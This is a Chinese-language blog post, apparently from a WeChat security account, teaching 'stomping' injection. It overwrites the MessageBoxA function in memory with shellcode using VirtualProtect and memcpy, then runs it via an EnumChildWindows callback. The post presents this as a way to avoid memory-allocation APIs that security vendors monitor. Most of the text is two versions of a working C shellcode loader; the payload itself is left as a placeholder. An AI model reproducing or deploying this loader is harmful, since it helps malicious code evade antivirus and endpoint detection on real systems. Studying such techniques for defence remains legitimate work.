stomping注入
简介
除了上一篇发的那个映射注入之外,这次我们来看一下stomping注入,同样它也不会去使用相关安全厂商检测很重要的API,例如VirutalAlloc/Ex 等等。
功能覆盖
功能覆盖是指替换程序中函数或其他数据结构的内存的行为。函数覆盖是一种将原始函数的字节替换成新代码的技术,导致函数被替换或不再按照之前的功能进行工作,相反该函数会执行不同的逻辑,所以会消耗掉一个函数的地址。
选择合适的目标函数
在查找本地函数的地址的时候,我们需要知道检索那个函数才不会导致我们的shellcode不受控制,或进程可能崩溃,所以从ntdll.dll,kernel32.dll,kernelbase.dll中导出的函数我们如果进行覆盖的话是由风险的,所以我们应该覆盖一些不常用的函数,比如MessageBoxA等等。
当目标函数的字节被shellcode替换时,该函数将无法使用,除非它们有专门用于有效载荷执行。例如如果目标是MessageBoxA,那么二进制文件应当仅调用MessageBoxA函数一次。
利用过程
目标函数是MessageBoxA函数,这个函数是从user32.dll中导出的,所以我们首先需要从user32.dll中将函数导出这里可以使用GetProcAddress和LoadLibraryA函数来进行导出,下一步就是停止该函数并将其替换为shellcode,使用VirtualProtect将其内存区域标记为可读可写,确保我们是可以进行覆盖的,接下来将shellcode写入到函数的地址,最后再使用VirtualProtect将该内存区域更改为可执行的内存。
如下代码:
BOOL WirtePayload(PVOID Address,PBYTE shellcode,SIZE_T shellcodeSize) {
DWORD dOld = NULL;
if (!VirtualProtect(Address, shellcodeSize, PAGE_READWRITE, &dOld)) {
printf("更改失败");
return FALSE;
};
memcpy(Address, shellcode, shellcodeSize);
if (!VirtualProtect(Address,shellcodeSize,PAGE_EXECUTE_READWRITE,&dOld)) {
printf("更改失败");
return FALSE;
}
return TRUE;
}
unsigned char shellcode[] = {
shellcode
};
int main()
{
PVOID pAddress = NULL;
HMODULE hmodule = NULL;
hmodule = LoadLibraryA("user32.dll");
if (hmodule == NULL) {
printf("获取模块失败");
return -1;
}
//获取函数地址
pAddress = GetProcAddress(hmodule, FunctionName);
if (pAddress == NULL) {
printf("获取函数失败!!!!");
return -1;
}
if (!WirtePayload(pAddress, shellcode, sizeof(shellcode))) {
printf("写入shellcode失败");
return -1;
};
EnumChildWindows(NULL, (WNDENUMPROC)pAddress, NULL);
}
可以看到我们根本没有使用到申请内存的函数。
我们来跟一下代码:
如下是函数地址:
首先将这块内存区域更改为PAGE_READWRITE权限,更改完成之后使用shellcode将这块内存区域进行覆盖。
覆盖之后再将内存区域更改为RWX。
最后使用回调函数执行。
将DLL插入二进制文件
将DLL插入到二进制文件中就不需要使用LoadLibrary来加载DLL,不需要使用GetProAddress函数来获取目标函数的地址了。
加入之后完整代码:
BOOL WirtePayload(PVOID Address,PBYTE shellcode,SIZE_T shellcodeSize) {
DWORD dOld = NULL;
if (!VirtualProtect(Address, shellcodeSize, PAGE_READWRITE, &dOld)) {
printf("更改失败");
return FALSE;
};
printf("Address : 0x%p n", Address);
getchar();
memcpy(Address, shellcode, shellcodeSize);
printf("Address : 0x%p n", Address);
getchar();
if (!VirtualProtect(Address,shellcodeSize,PAGE_EXECUTE_READWRITE,&dOld)) {
printf("更改失败");
return FALSE;
}
return TRUE;
}
unsigned char shellcode[] = {
shellcode
};
int main()
{
PVOID pAddress = NULL;
HMODULE hmodule = NULL;
hmodule = LoadLibraryA("user32.dll");
if (hmodule == NULL) {
printf("获取模块失败");
return -1;
}
//获取函数地址
/*pAddress = GetProcAddress(hmodule, FunctionName);
if (pAddress == NULL) {
printf("获取函数失败!!!!");
return -1;
}*/
if (!WirtePayload(&MessageBoxA, shellcode, sizeof(shellcode))) {
printf("写入shellcode失败");
return -1;
};
EnumChildWindows(NULL, (WNDENUMPROC)MessageBoxA, NULL);
}
看完了记得点一下关注噢
原文始发于微信公众号(Relay学安全):不需要申请内存就能执行shellcode?
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论